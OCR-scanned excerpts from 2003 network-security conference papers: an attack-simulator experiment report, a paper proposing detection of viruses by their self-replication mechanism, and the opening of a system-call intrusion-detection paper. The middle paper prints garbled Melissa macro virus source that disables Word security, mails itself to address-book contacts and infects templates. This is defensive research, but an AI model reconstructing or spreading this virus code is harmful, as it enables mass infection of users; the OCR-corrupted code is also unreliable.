appeared in the white window. Braun strings in left part of the diagram are descrip-
tions of the generated terminal malefactor’s actions. The result of each malefactor’s
action may be positive or negative. If the result is positive, the square block (designat-
ing the fag of success) is green, and green comments are printed from the right of the
square block. The negative result means that the action was done unsuccessfully. The
negative result is possible in two cases: if the attack is blocked by a firewall (in that
case, the indicator and the comment are red); if the network response is negative (the
indicator is grey, the comment is absent). When the string “END: Attack is over” is
appeared, this means that a scenario realization is finished.

As shown in Fig. 3, in the network attack implementation, each terminal action is
performed on each host of the network, and in case of success or the attack being
blocked by the firewall, right after the square block is the IP address of the host at
which that terminal attack action was directed.

In case of success, the comment contains the decoding of the result obtained
through that terminal action of Hacker Agent, and the information obtained from
Network Agent as a result of the attacker’s action (that information may be absent).

In case of the hacker’s attack being blocked, the comment contains information on
the reasons of the attack being blocked, as well as the name of the firewall. If the
attack was blocked on the level of the network firewall, then the IP address of the
network is placed at the start of the comment.
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Fig. 3. Example of Visualization Window of a Network Attack Scenario

4 Case-Study: Examples of Attack Simulation

The main purpose of the experiments conducted with Attack Simulator has consisted
in demonstration of its efficiency for various attacks specifications and attacked net-
work configurations. We have investigated Attack Simulator possibilities for realiza-
tion of two tasks: (1) checking a computer network security policy at stages of con-
ceptual and logic design of network security system. This task can be solved by
simulation of attacks at a macro-level and research of responding a network model
being designed; (2) checking security policy (including vulnerabilities recognition) of
a real-life computer network. This task can be solved by means of simulation of at-
tacks at a micro-level, i.e. by generating a network traffic corresponding to real activ-
ity of malefactors on realization of various security threats.

Therefore all experiments have been divided into two classes: (1) Experiments on
simulation of attacks on macro-level (generation and investigation of malicious ac-
tions against computer network model); (2) Experiments on simulation of attacks on
micro-level (generation malicious network traffic against a real computer network).

In the experiments on simulation of attacks on macro-level, explorations of attacks
for all malefactor’s intentions implemented by Attack Simulator have been carried
out. These experiments were fulfilled under various parameters of the attack task
specification and an attacked computer network configuration. Besides malefactor’s
intention, the influence of the following parameters on attacks efficacy was investi-
gated: (1) Protection degree of Network Firewall (PNF); (2) Protection degree of
attacked host (Personal) Firewall (PPF); (3) Protection Parameters of attacked host
(PP); (4) degree of hacker’s Knowledge about a Network (KN).
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For intentions of the class “Reconnaissance” we have investigated only influence
of protection degree of network firewall. Three values of this parameter were used:
1 — “Strong” (if firewall can protect from 60-90% of implemented attacks); 2 —
“Medium” (if firewall can protect from 20-50% of attacks); 3 — “None” (if firewall
does not protect or is absent).

For intentions of the class “Implantation and threat realization” we have used the
following values of parameters: (1) for protection degree of (network or personal)
firewalls: 1 — “Strong” (if firewall can protect from 60-90% of attacks); 2 —
“None” (if firewall does not protect or is absent); (2) for protection parameters of
attacked host: 1 — “Strong” (60-90% of security parameters have secure values, for
example, strong password, absence of sharing files and printers, and other resources,
absence of trusted hosts, etc.); 2 — “Weak” (security parameters are weak); (3) for
degree of hacker’s knowledge about a network: 1 — “Good” (hacker knows about
50-80% of information about network); 2 — “Nothing” (hacker knows nothing about
network).

Attacks were simulated on various configurations of a computer network. For each
separate experiment, various realizations of attacks (runs) were carried out. In each
experiment, several realizations (runs) with identical initial data were carried out. The
results received on each experiment, were averaged.

To investigate the Attack Simulator possibilities, we have selected the following
attack realization outcome parameters: NS (Number of attack Steps) — number of
terminal level attack actions; PIR (Percentage of Intention Realization) — percentage
of the hacker’s intentions realized successfully (for “Reconnaissance” it is a percent-
age of objects about which the information has been received; for “Implantation and
threat realization” it is a percentage of successful realizations of the common attack
goal on all runs); PAR (Percentage of Attack Realization) — percentage of “positive”
messages (responses) of the Network Agent on attack actions (the “positive” mes-
sages are designated in attack visualization window by green lines); PFB (Percentage
of Firewall Blocking) — percentage of attack actions blockage by firewall (red lines
in attack visualization window); PRA (Percentage of Reply Absence) — percentage of
“negative” messages (responses) of the Network Agent on attack actions (gray lines
in attack visualization window).

Changes of parameters PIR, PAR, PFB, and PRA for various network firewall con-
figurations under realization of intention IS (“Identification of the host Services”) are
represented in Fig. 4.

Let consider two dependences of parameters PIR, PAR, PFB, PRA from different
input parameters values under intention GAR (“Gaining Access to Resources”) reali-
zation. For construction of these dependences the following values were used as x-
coordinate parameters: 1 — both network and personal firewalls are active; 2 — only
network firewall is active; 3 — only personal firewall is active; 4 — none of firewalls
is active. The parameters changes under maximal protection of attacked host
(“Strong”) and maximal hacker’s knowledge about a network (“Good”) are depicted
in Fig. 5. The parameters changes under minimal protection of attacked host (“None”)
and maximal hacker’s knowledge about a network (“Good”) are depicted in Fig. 6.

For checking efficacy of Attack Simulator on micro-level the network packets for
the different classes of simple attacks were generated (for example, Port scanning,
“SYN flood” (SF), Password guessing, and etc.).
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7  Conclusion

In the paper we described the approach to active vulnerability assessment of computer
networks based on modeling and simulation of attacks and its implementation. The
main peculiarities of the approach are (1) malefactor’s intention-centric and target-
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oriented attack modeling and simulation, (2) multi-level attack specification, (3) on-
tology-based attack model structuring, (4) attributed stochastic context-free grammar
for formal specification of attacks, (5) state machine-based formal grammar frame-
work implementation; (6) on-line generation of the malefactor’s activity resulting
from the reaction of the attacked network security system.

The Attack Simulator is built as a multi-agent system consisting of two classes of
agents (Hacker Agent and Network Agent), which activity is based on the “Attacks
against computer network” application ontology and a communication component.
The developed and implemented simulator comprises the multitude of reusable com-
ponents generated by use of the by Multi-Agent System Development Kit (MASDK)
standard functionalities [6] and application-oriented software components developed
manually in terms of MS Visual C++. The developed technology makes it possible to
simulate adversary interactions between teams of hackers and network defense agents
[11].

Two types of experiments have been fulfilled with Attack Simulator: (1) macro-
level simulation where generation and investigation of malicious actions against com-
puter network model have been carried out; (2) micro-level simulation when mali-
cious network has been traffic generated against a real computer network. The simula-
tion-based exploration of the developed Attack Simulator has demonstrated its
efficacy for accomplishing various attack scenarios against networks with different
structures and security policies implemented.
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Abstract. A high percentage of information attacks are perpetrated by deploy-
ing computer viruses and worms, which result in very costly and destructive
“epidemics”. Spread of malicious codes is achieved by the built-in ability to
self-replicate through the Internet and computer media. Since most legitimate
codes do not self-replicate, and the number of ways to achieve self-replication
is limited to the order of fifty, the detection of malicious codes could be reduced
to the detection of the “gene of self-replication” in the code in question. This
paper present the analysis of the self-replication mechanism of one of the recent
computer viruses and discusses the ways to detect the ability of a computer
code to self-replicate before the execution.

1 Introduction

We are facing a disaster that has been recognized at the highest levels of our govern-
ment. It already manifests itself, disturbing our lives with increasing frequency. It is
two-fold. The first is our ever-increasing dependence on global computer networks of
ever-increasing size. The second is that the vulnerability of a global computer net-
work to various forms of information sabotage increases with its size and interconnec-
tivity. Fortunately, this problem is not unique to computer networks. Any biological
system, being gigantic in terms of complexity, interconnectivity and number of entry
points, is also vulnerable to sabotage by foreign microorganisms that could be visual-
ized as information attacks. Biological systems have developed very effective defense
mechanisms capable of detection, identification, and destruction of most foreign enti-
ties that could have an adverse effect on the system. These mechanisms are capable of
differentiating between “self” and “non-self” at the protein level. Similar defense
mechanisms for computer networks would provide the required level of system in-
formation assurance [1].

Most information attacks are performed via Internet transmission to a target com-
puter of files or messages that contain the code of a computer virus or worm. Upon
receipt, the target computer executes the malicious code, either directly or using an
interpreter, resulting in the reproduction of the virus or worm and the delivery of its
destructive payload. This self-replication is vital to the spread of most computer vi-
ruses and worms, and is quite uncommon for legitimate code. As with any function,
self-replication is programmed; the sequence of operations resulting in the self-

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 195-205, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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replication is present in the computer code of the virus. The function of self-
replication can be implemented in many ways. Therefore, there is more than one se-
quence of operations that can perform this task. Moreover, it is expected that these
sequences are dispersed throughout the entire body of the code and cannot be detected
as an explicit pattern.

This research is aimed at the development of a methodology that would facilitate
detection of the “gene of self-replication” in computer codes. Unlike existing anti-
virus software, this methodology could allow preventative protection from previously
known and unknown viruses. The feasibility of this task is justified by the following
considerations. While the self-replication could be achieved in a number of different
ways, this number is definitely finite. Detection of these virus sequences is close to
the problems of cryptology, which offers a number of successful techniques. The
problem has a straightforward analogy, the detection of antigens by the immune sys-
tem, and this detection mechanism could be modeled and adopted.

2 Types of Information Attacks

Information attacks often come in the form of malicious codes such as Trojan horses,
worms, and viruses. These attacks violate the host and lead to compromised integrity,
confidentiality, availability of information, and, potentially, administrative control.
The main stages of such an attack include implantation of a malicious program into
the remote system, execution of the program, and information exchange between the
malicious program and outside servers, which results in the spread of the attack, thus
infecting and controlling the attacked host and potentially, the entire network. The
particular sequence of such stages depends on the type of the attack.

There are two classifications of such an attack. The first is the implantation of a
malicious executable file (program) into remote computer systems. These attacks
include implantation and consequent execution of a malicious program in the target
system. In addition to rendering the attacked computer useless, malicious programs
have a built-in self-replication function that results in the potential dissemination of
the program over the entire community of users and the entire network. Such a mali-
cious program could be activated from a remote terminal or by the initiation of le-
gitimate software that is installed on the target computer.

The second is the implantation of a malicious script or program text into remote
computer systems. This type of attack has only one feature that makes it different
from the above: it requires that some auxiliary software, such as a script interpreter or
a translator for a particular programming language (ex: java, VB Script), be installed
on the target computer.

Analysis of attacks using malicious codes indicates that the attack objectives can-
not be fully achieved without dissemination of the malicious code over the entire
community of users, hosts, and potentially the entire network. The attackers skillfully
utilize the target computer, before rendering it useless, to expand the attack to include
as many computers as possible.

The process of self-replication is common to all viruses. The specific implementa-
tion mechanisms vary from virus to virus, but the fundamental process is the same. A
virus must make a copy of itself, which it uses to infect other files or systems. The
copy may be an exact replica of the original or it may be slightly modified in an at-
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tempt to thwart detection by string-matching algorithms. The method and implemen-
tation of self-replication used by a virus depends upon the software environment in
which it executes. The method used also depends on and must support the other
phases of the lifespan of the virus, including activation and spreading.

The basic virus types each exist in a unique environment and must make use of
available resources to implement self-replication, so the software environment has a
significant impact on modes of self-replication. Boot sector viruses exist within the
boot sector of a disk and are activated during the host computer’s boot-up procedure.
These viruses must make use of the software environment available at boot time,
which consists of a set of basic input/output (BIOS) routines. Executable file viruses
generally have the same access to operating system functions as their host program,
and therefore can make full use of these functions to implement self-replication.
Macro viruses operate within the specific set of operations provided by the macro
language and must function in the environment provided by the interpreter. Worms
exist completely within the environment of a specific application and must make use
of the limited set of mechanisms available within the application.

The activation and spreading methods used by a virus also have a significant im-
pact on its method of self-replication, which should provide a high likelihood of fu-
ture activation. The virus can accomplish this by making a large number of copies of
itself, by placing a small number of copies in highly selective locations, or by using
several distinct methods of activation. The spreading method determines the basic
mechanism available to the virus to implement self-replication. Methods of spreading
include email, network file shares, manual transport by floppy disk, and Internet pro-
tocols such as HTTP and IRC.

3 Fundamentals of an Attack

In order to study malicious code, the fundamentals of operation need to be studied.
Upon activation, a malicious program performs several operations. These operations
are determination of environment, infection, replication and payload delivery. The
Melissa virus, first detected in March 1999, will serve as an example here. Melissa is
a Microsoft Word macro virus. It attacks when a user opens an infected Word docu-
ment and spreads using electronic mail over the Internet.

The operating environment is very important for viral code. Since there are nearly
unlimited combinations of operating system and user software installations in the
world, it is important to determine some fundamental parameters in order to prevent
detection and ensure that infection, replication and payload delivery occur flawlessly.
Some examples of the types of information collected are the system path, determina-
tion of previous infection, operating system version, date, time and e-mail client soft-
ware.

The first few lines of code show this operation within Melissa. In order to function
properly, Melissa needs the security settings in Microsoft Word to allow it to execute
freely. The settings are first detected then modified, if needed. After detecting and
setting up the proper environment for execution, Melissa performs a check to see if it
has already infected the host. If it has, the self-replication section of the code is
skipped and it continues to infect non-infected files.



198  V.A. Skormin, D.H. Summerville, and J.S. Moronski

Private 3ub Docunent Opend)

On Error Pesume Next

If System.PrivaceProfileScring("",

"HEEY CUFRENT USER'\SofcwaretMicrosofeh 0ffice) 3. WordiSecurity”, "Lewel") == ""
Then

CommandBars ("Macro"). Controls{"S8ecarity. .. ") . Enabled = Falze

Svystem. PriwvateProfileStringi"",

"HEEY CURPENT TSER)Zo foware\Microseo fe),0f fice) 2. 00 Tord\ Security" . "Lewel") = 1i
Elze

CommsnidBars ("Tools") . Control=s("Macrao") _Enahled = False

Options. ConfimConversions = (1 - 1): Options VirasProtection = (1 - 1):
Options. SsrreMormal Prompt. = (1 - 1)

End If

Lim Thgalastutlock, DasMapilNane, BreskUwOffaSlice

Set ThgalDasCutlock = Createlbject ("Outlook. &pplication")

Set DasMapiName = ThwyaDasOutlook. GetNameSpace ("MAPT")

If System. PrivateProfileScring("",

"HEEY CURPENT USER\Zofoware\Microsofe\Office\", "Melissal") == "... by Fuoyjibo"
Then

It is typical for viruses to either not infect or propagate further upon detection of a
previous infection. This prevents duplicate infections or even potential incompatibili-
ties in multiple infection operations. However, if the virus has determined that it is on
a “virgin” system, it infects the host and begins either replication or infection. Melissa
performs self-replication immediately upon determination of first execution.

Here, additional environmental information is obtained and if the conditions are
met, in this case determining if the e-mail client is Microsoft Outlook, self-replication
begins. The code snippet below shows the self-replication portion of Melissa.

Tf Thgalbasiuslock = "Outlock" Then
DasMapilName . Logon "profile", "password"
For ¥ = 1 To DasMapiMame AddressLists. Count
Set AddyBook = DasMapiName. AddressLists(y)
x=1
Set BreakUmlffiSlice = Thgalastatlock  Createltemi(d)
For co = 1 To AddyEBook. 2ddressEntries. Coumt
Peep = AddyBook. AddressEntriesix)
EreaklUwAf fA%]lice. Pecipiants. Add Peesp

*x=x+1
If x » 50 Then oo = AddyBock.AddressEntries.Coumt
Next oo

BreaklmOf f251ice. Subject = "Important Message From " &
Application. UserNams
EreaklmOf fa51ice Body = "Here is that dooument you asked for (.. dom't
show argpone else ;-)"
Breaklm0f f4511 ce  Attackments. Add ActiweDooment . Ful 1Mame
EreakUm0f fA%]ice. Send
Daep = "
MNext v
LasMapiMeame Logo ££
End If

Melissa sends e-mail with the subject “Important Message From <Username>" to
the first fifty entries in every address book that the user executing the virus has ac-
cess. In the message, the document containing the Melissa virus is attached. Unfortu-
nately for the computing community, e-mail is one of the quickest methods of trans-
mission. Unsuspecting users would receive the e-mail, open the attachment and
proceed to infect themselves.

The rate of self-replication varies depending on the mechanism of infection. If a vi-
rus infects a host from a floppy disk boot sector, the infection rate is relatively slow,
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requiring humans to physically transport and deliver the media from machine to ma-
chine. Network based replication is often the fastest. Many Trojan horses immediately
spread after infection without any requirements of user activation while others are
software executables named after attractive sports figured requiring. Invariably hostile
code that requires user intervention spread slower than code that does not.

The next stage of the Melissa virus is infection. The code segment below shows the
infection portion of the Melissa virus.

System PriwateProfileString("", "HEEY CURBENT USERYSoftware\MicrosofthOffice\"
"Melissa?") = ". .. by Ewyjibo"

End If

Set ADI]1 = Activelbooument. VBProject VEComponernts . Ttemil)

Set NTI1 = MormalTemplate. VEProject VEComponerts. Item(l)

HNTCL = NTIl.CodeModule. Courc0fLines

ADCL = ADT]_ CodeModule. CourtcOfLines

ECR = 2

If ADT1 Mame <= "Melissa" Then

If ADCL » 0O Then _

ADT1.CodeModule. Deletelines 1, ADCL

Ser ToImfect = ADIL

ADT1 . MName = "Melis=a"

Dol = True

End If

If NTTI1. Mame <= "Melissa" Then

If NICL = 0 Then _

HTT1.CodeModale. Deletelines 1, NTCL

Set ToInfect = NTIL

NTI1l Mame = "M=lissa"

DolIT = True

End If

If DolT <= Trus And DodD <= Trae Then GoTo CTA

If LoMT = True Then

Do Thile ADRIL. CodeModule Lines(l, 1) = ""

ADT1.CodeModule. Deletelines 1

Loop

ToInfect CodeMadule AddFromString ("Private Sub Dooment Close()")
Do Thile ADRIL. CodeModule Lines(BGEN, 1) <= ""

ToInfect CodeModule InsertLines BRI, ADIL.CodeModule. Lines (BGEHN, 1)
ECGN = EGHN + 1

Loop

End If

If LodD = True Then

Do Thile NTI1.CodeModule Lines{l, 1) = ""
HNTIl.CodeModule.Deletelines 1

Loop

ToInfect.CodeModule AddFromString ("Private Zub Dooument Openi) ")
Do Thile NTI1.CodeModule Lines(BGN, 1) <= ""
ToInfect . CodeModule. InsertLines BRI, NTI1.CodeModule. Lines (EG@, 1)
ERI = BGH + 1

Loop

End Tt

C¥Aa:

If NTCL <= 0 And ADCL = 0 And (InStcril, ActivelDooument Name, "Doocvmert") =
False) Then

ActiveDooment . Savels FileNawme: =ActiveDooment . Ful 1Mawe
Elself (InStri(l, ActiveDocimert Name, "Dooument") == False) Then
ActiveDooment Sawved = True: End If

During infection, the Melissa virus sets a permanent key within the operating sys-
tem to indicate that the system has been infected and proceeds to infect the default
document template for Microsoft Word and the current document if it is not already
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infected. The current document would not already be infected if it has just been cre-
ated within Microsoft Word, however, the default document template would be
opened.

With other viruses, system files may be modified, replaced, or deleted; network
drives are often a target, infecting files shared amongst multiple users. The virus may
attach parts of itself to system executables or the hard disk boot sector to ensure re-
petitive execution. When infection simply consists of mass copying of the virus code
in whole it is hard to separate that from self-replication. In fact, many viruses don’t
infect a system in a conventional means. Some just sprinkle themselves throughout
the file system expecting the computer’s operator to unsuspectingly re-invoke the
virus at some future time. Therefore, the only real difference between self-replication
and infection is that self-replication is the copying of the viral code from the host
currently executing it to another target host.

Once a host is infected, it may continue to self-replicate throughout its life, or it
may lie dormant waiting to deliver its payload. The payload in Melissa is quite simple
the code segment is below.

If Dasr(Mowr) = Mirmate(Mow) Then Selection. TypeText " Twenty-—two points, plus
triple-word-score, plus fifcy points for using all my lectcers. Game's over.
I'm outta here."

End Sub

Melissa inserts the text “Twenty-two points, plus triple-word-score, plus fifty
points for using all my letters. Game's over. I'm outta here.” into the opening docu-
ment whenever the day of month is equal to the minute of the hour. Many viruses are
not as nice; they can send sensitive information to various remote hosts to quite se-
verely damaging files and data.

4 The Essence of the Proposed Approach

A computer code, either legitimate or malicious, first takes the form of a binary se-
quence that is interpreted as instructions for operations to be performed. These may
be high-level instructions, such as those used in script languages, or low-level ma-
chine language instructions. The “alphabet” of instructions contains a finite number of
“letters” whose proper sequence constitutes appropriate directions for computer op-
erations. In many instances, malicious codes are partially encrypted. During the exe-
cution, they decode the encrypted parts and eventually form the sequence of executa-
ble macro commands.

Existing anti-virus programs implement a simple but reliable approach for the de-
tection of computer viruses. They utilize a library of virus definitions that contains
“samples” of the binary sequences of all known viruses in the same way that the pep-
tides of immune cells contain “samples” of the genetic sequences of all antigens ever
encountered by the biological organism. When the computer code in question arrives,
the anti-virus software attempts to match “slides” of the new code to the existing
samples in its library. Finding a “perfect match” triggers the appropriate actions of the
anti-virus program. Although this approach is sound, it cannot detect a new, previ-
ously undocumented virus, and is thus dependent on updates to its library.
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This approach presents an attempt to go beyond “sample matching.” The intention
is to concentrate efforts on the detection of the one generic feature of all computer
viruses, the “gene of self-replication,” which is typically present in computer viruses
and virtually unknown in legitimate software. This task will be performed not on
binary sequences, but on sequences of instructions that can be understood as letters in
an alphabet (the approximate number of letters in the alphabet is very close to the
total number of instructions), with the understanding that although self-replication can
be achieved in a number of ways, this number is finite and is believed not to exceed
50. Therefore, the search for the “gene of self-replication” can be understood as the
search for particular words on the array of letters, almost like a crossword puzzle with
the following peculiarities.

First, instructions form multiple strings with a well-defined order of execution.
This feature simplifies the task by eliminating concern over the position of particular
words (strings of interest): all words are positioned along the string and should be
read from left to right, in the order of execution.

Second, the string of instructions, for example, forming the word “replication” that
represents a particular self-replication procedure does not have to be continuous. In
the process of execution, the self-replication task can be temporarily interrupted to
perform malicious or auxiliary subtasks, for example a display of offensive messages.
This makes the search more difficult. It requires the search to expand from finding the
word “replication” as a continuous string of letters to searching for a letter “r” that is
eventually followed by letter “e” that is eventually followed by letter “p”, etc. Fortu-
nately, there are some decryption and deciphering techniques that could be utilized for
this problem.

Third, malicious code can arrive partially encoded and decode itself prior to execu-
tion, which presents a serious challenge for any virus detection method. This diffi-
culty, however, could be addressed through periodic interruption of the execution of
the code in question and analysis of the composition of the executable image. Another
approach implies the monitoring and analysis of the sequence of macro commands
presented for execution.

Although there are questions about the feasibility of detecting a computer virus by
subjecting its code to a cryptographic analysis, this approach concentrates on a very
narrow task: the detection of a particular feature of a malicious code, its “gene of self-
replication.” In addition, the proposed detection procedure will analyze not a “static”
file containing the code in question, but the sequence of executable instructions that
evolves during the execution of the code. Finally, a probabilistic approach resulting in
the computation of the conditional probability of maliciousness subject to particular
features discovered in the executable code can be utilized. Indeed, while according to
[2] sufficient conditions for the detection of computer viruses may not exist in the
mathematical sense, this approach is aimed establishing the necessary conditions and
then utilizing these conditions for the development of instrumental, general-purpose,
anti-virus software capable of detecting new, previously unknown, computer viruses.

First, several typical sequences of instructions that implement the task of self-
replication will need to be established. These sequences will constitute the set of
“words” or “patterns” that would provide evidence that the code may be a computer
virus. Constructing a number of alternative self-replication procedures and subjecting
them to special analyses/parsing in order to detect their generic semantic features will
accomplish this task. At the same time, known computer viruses will be subjected to
analyses aimed at the detection of their “gene of self-replication” and will attempt to
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establish some generalized self-replication patterns. An attempt will then be made to
perform segmentation and representation of these patterns by a sequence of higher-
order tasks (such as “exploring the environment”, “target detection”, “code duplica-
tion”, etc.).

Second, analyses of known malicious codes will be performed aimed to determine
probabilities for particular self-replication patterns and the components of these pat-
terns in such codes. Assume that W, is a random event defined as the “presence of
segment #j of the self-replication pattern #k in a computer code”, and E, is the ran-
dom event defined as the “computer code in question is a malicious code of type #L”
(boot-viruses, file viruses, macro viruses and viruses on script languages, computer
worms, etc.). There will be an interest in the estimation of conditional probabilities
P{WJk / E,} for all j, k, L [3]. These probabilities will be invaluable in establishing
virus detection rules.

Third, since the self-replication pattern could be encrypted in a malicious code,
rather than included explicitly, it is important to define an efficient decryption ap-
proach. In this case, several questions need to be researched: Is it possible to perform
the decryption before the code is executed? Could this task be performed during the
code execution but before the self-replication task has been completed? Could a sand-
box type environment be created to facilitate the detection of the self-replication pat-
tern? Some computer viruses are deployed in a partially encoded form and self-
decode during execution; could the presence of self-decoding be utilized as evidence
of maliciousness? Immunology provides examples of very successful detection/ rec-
ognition approaches [4]; could some of these approaches be explored?

The Bible Code [5] is fascinating in how it presents examples of historical events
encrypted in the text of the Old Testament. The strongest argument against the feasi-
bility of the described general prediction approach is obvious: in order to detect the
event encrypted in biblical text one has to know what to look for. In this case, it is
known exactly what to look for: the “gene of self-replication” in one of its few exist-
ing mutations.

5  High Level Analysis of Code

In the case of non-encrypted viral code, like Melissa, the detection of the self-
replication mechanism is relatively straightforward. In fact, many recent viruses are
scripts that are distributed as e-mail attachments. The script itself serves as the source
code for the virus. One simply needs to follow the execution path of the code to de-
termine the elements that provide for infection, replication and payload delivery. A
graph of the code could be developed which would contain the “gene of self-
replication”.

Within Melissa, some of the elements of the gene of self-replication are relatively
obvious. It is rare for an application to open the user’s address book and mail itself to
each entry. Distributing the elements of the self e-mailing operation throughout the
code of the virus can easily cloak this simple detection. Writers of viruses often dis-
perse the components required for self-replication throughout the code. This is, in a
way, a primitive form of encryption, preventing simple analysis from determining the
precise mechanism for one or all of the various cycles of the viral code.
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Conceptually, the detection of a “gene of self-replication” dispersed in a string of
commands is a straightforward task. Analyzing all possible code paths and loops
within the executable code would perform the detection of the self-replication ele-
ment. This technique would function at the source code or machine code level and
would be done prior to its execution. This analysis will be aimed at the establishment
of possible paths and loops within the graph of the code. Figure 1 below illustrates
this problem. It could be seen that the code comprises several paths and a loop con-
taining word “replication”. Many viral codes are available in source code format.

E)%“*I O

Fig. 1. Example graph of computer code showing the distributed word “replication”

5.1 Dealing with Encrypted Codes

The analysis of viral code is further complicated if the code is encrypted or encoded.
In many cases, this functionality is normal and expected. For example, self-extracting
compressed archives fall within this category. At execution, the contents of the ar-
chive are decompressed onto some destination media. Since this form of operation, on
its own, is not indicative of viral code, some other technique must be created to actu-
ally “watch” the code during execution. Upon the detection of the self-replicating
element, the executing code should be stopped or frozen until further examination can
be made.

Most modern operating systems were designed under an assumption that none of
the user supplied code can be trusted to execute properly without interfering with
other components of the operating system or other concurrently running applications.
Consequently, a trusted piece of software, the kernel, creates an environment for each
application that is unique and separate from every other application. In order to pre-
vent corruption of the operating system, each application is executed in a lower privi-
lege mode than the kernel. When an application is executed in this reduced privilege
state, it is said to be in user mode. When the kernel is executing, in the higher privi-
lege mode, it is said to be in kernel mode.

For the proper operation of any useful application, there are many operations that
cannot be performed in user mode. For example, most input/output (I/O) operations
require access to physical hardware such as video devices, network cards or disk
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drives. Since these components are shared amongst applications and the operating
system, the kernel must restrict direct access. In order for a user mode application to
perform these functions, the application must cause a switch to occur from user to
kernel mode with all of the proper information to perform the operation for the user
mode application. The user/kernel mode boundary is a good place to put a monitor for
code execution.

Since, by definition, replication requires I/O operations to complete, obviously
monitoring all I/O requests of non-trusted executables would be a starting point for
this analysis. It is likely that further kernel mode operations would need to be studied.
These could include functions that allow for memory allocation, environment deter-
mination, and access to other processes. From this monitoring, a graph of the code
could be created with only the minimum required components of analysis. The graph
of the code could potentially contain the same information as the graph obtained from
above, except that it would be produced in run-time.

The danger of analyzing the code using this technique is that the code would be al-
lowed to execute freely on the system. For optimum safety, the code should be run in
a sandbox environment. The disadvantage of this is that a clever programmer could
potentially detect that it is in this environment and not decode or decrypt the viral
payload, thereby preventing the analysis.

5.2 Dealing with Dynamically Modified “Good” Code

As systems become more complex, so does the programming behind the applications.
Many known “good” applications and operating system components have known
bugs and, as yet, unknown weaknesses. Although there is an effort to eliminate these
bugs, viruses and worms usually can exploit many of them before systems administra-
tors can apply the appropriate patches or fixes or the programmers can find a correct
them. Therefore it is not safe to say that specific pieces of code that were once “good”
will remain good. In fact, many of these worms affect code while it is executing, dy-
namically changing the operation of the code.

To make matters worse, many of these bugs can be taken advantage of remotely.
Applications that perform many of the required network functions, such as, e-mail
delivery, domain name services and web page services are all potentially prone to
attacks. Many of these applications run unchecked with “super user” privileges. When
these bugs are exploited they can wreak havoc on computer networks. In the summer
of 2001, Code Red targeted Microsoft IIS servers. The worm infected hundreds of
thousands of servers before the nature of the worm was understood.

It is only possible to monitor these types of code in run-time. Any technique de-
signed to monitor these codes cannot have a serious performance penalty. Many of
these applications operate in a high demand environment having to fulfill thousands
of requests per minute. Detection of a code malfunction and an attempt to replicate
needs to be done in near real time as once the payload is delivered, the target host is
most likely instantly infected and targeting other hosts.
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Conclusion

In order to counterattack the many assaults against the world’s complex network of
computers, more proactive and non-reactionary schemes for protection need to be
developed. There are very few security applications that can detect an attack from a
previously unknown assailant. This approach offers the ability to detect the “gene of
self-replication” of any given piece of code.

The reason for choosing the mechanism of self-replication as the detection criteria
is that most non-malicious code has no reason to propagate itself and malicious codes
must. Even as virus writers mutate existing code or create new complex code, the
need to spread from host to host remains. Determining the genotype of self-replication
is no simple process as the applications must be either decoded or watched until de-
tection. Furthermore, no method of detection is perfect. While this is an attempt to
find all methods of self-replication, there may be new techniques in virus writing that
will thwart this effort.
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Abstract. Analysis of system call sequences generated by privileged programs
has been proven to be an effective way of detecting intrusions. There are many
approaches of analyzing system call sequences including N-grams, rule induc-
tion, finite automata, and Hidden Markov Models. Among these techniques use
of finite automata has the advantage of analyzing whole sequences without im-
posing heavy load to the system. There have been various studies on how to
construct finite automata modeling normal behavior of privileged programs.
However, previous studies had disadvantages of either constructing finite auto-
mata manually or requiring system information other than system calls. In this
paper we present fully automatized algorithms to construct finite automata rec-
ognizing sequences of normal behaviors and rejecting those of abnormal behav-
iors without requiring system information other than system calls. We imple-
mented our algorithms and experimented with well-known data sets of system
call sequences. The results of the experiments show the efficiency and effec-
tiveness of our system.

1 Introduction

Intrusion detection techniques can be broadly classified into two classes: misuse de-
tection and anomaly detection. Misuse detection tries to find signatures of intrusion
by looking up the known patterns of attack. Anomaly detection maintains normal
patterns of behavior and issues an alarm when the system being monitored shows
abnormal behavior. Anomaly detection techniques are studied actively, because they
have the advantage of being able to detect previously unknown patterns of intrusions.

One of the most important factors of anomaly detection is how to profile normal
behaviors. In particular, it should be able to accommodate normal behaviors that are
not directly observed while the patterns of normal behavior are collected.

There are many techniques of profiling normal behavior including statistical ap-
proach [3, 7, 9, 10, 14], neural networks [2], and Hidden Markov Models (HMM)
[17]. Forrest introduced the technique of analyzing system call sequences [4, 6, 17]. It
maintains the database of normal sequences of fixed length. It gives an alarm if the
difference between the sequence being monitored and the one in the database exceeds
the given threshold.

* This work was supported partly by the Brain Korea 21 Project and partly by the Institute of
Information Technology Assessment research project C1-2002-088-0-3.
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There have been studies on modeling normal behavior using finite state automata
[8, 12, 16]. The sequences recognized by the finite automaton are considered normal
behavior, and those rejected are considered abnormal. The advantages of finite auto-
mata over the sequences of fixed length are that they can recognize infinitely many
sequences and that they can learn to recognize new patterns through training. How-
ever, the procedure of constructing finite automata has been done manually. In this
paper, we present algorithms to automatically construct finite automata recognizing
normal behavior, and show the performance and efficiency of the system through
experiments and analysis.

2  Related Works

Forrest et al. introduced the use of system call sequences to model program behaviors
[4, 6, 17]. They extract the short sequences of fixed length from the long sequence of
system calls generated by processes, called N-grams, and maintain the database of
such sequences. When a program is monitored, the N-grams are extracted and
matched against the ones in the database of normal sequences. If the miss ratio ex-
ceeds the given threshold, a warning is issued. The use of system call sequences has
been proven to be a very effective way to intrusion detection. However, since short
sequences of fixed length are used, the intruder can dodge detection by carefully in-
serting spurious system calls within the fixed window size in order not to exceed the
threshold.

Wagner et al. use finite automata to represent the result of profiling normal behav-
ior of programs using static analysis of programs [16]. Since this approach analyzes
the source code of the program, it has difficulty in modeling various processes gener-
ated at runtime.

Sekar et al. examine the program counters where the system calls are made [12].
States and edges of finite automata are labeled by program counters and system calls,
respectively. This approach facilitates the construction of finite automata, but has
difficulty in stack traversal and dealing with fork/exec to trace program counters.

Kosoresow et al. substitute macros for frequently occurring substrings of the sys-
tem call sequence, and then construct finite automata recognizing the system call
sequences generated by processes [8]. By introducing macros the system call se-
quences become shorter, and consequently the resulting automaton becomes smaller.
This approach has neither the weakness of the N-gram method nor the difficulty of
tracing program counters. However, the procedure of selecting macros and construct-
ing finite automata are carried out manually using human insight and intuition. In this
paper, we present our study on how to automatically select macros and construct
automata.

3 Automatic Generation of Finite Automata

We construct finite automata that model normal behavior of programs. In the profiling
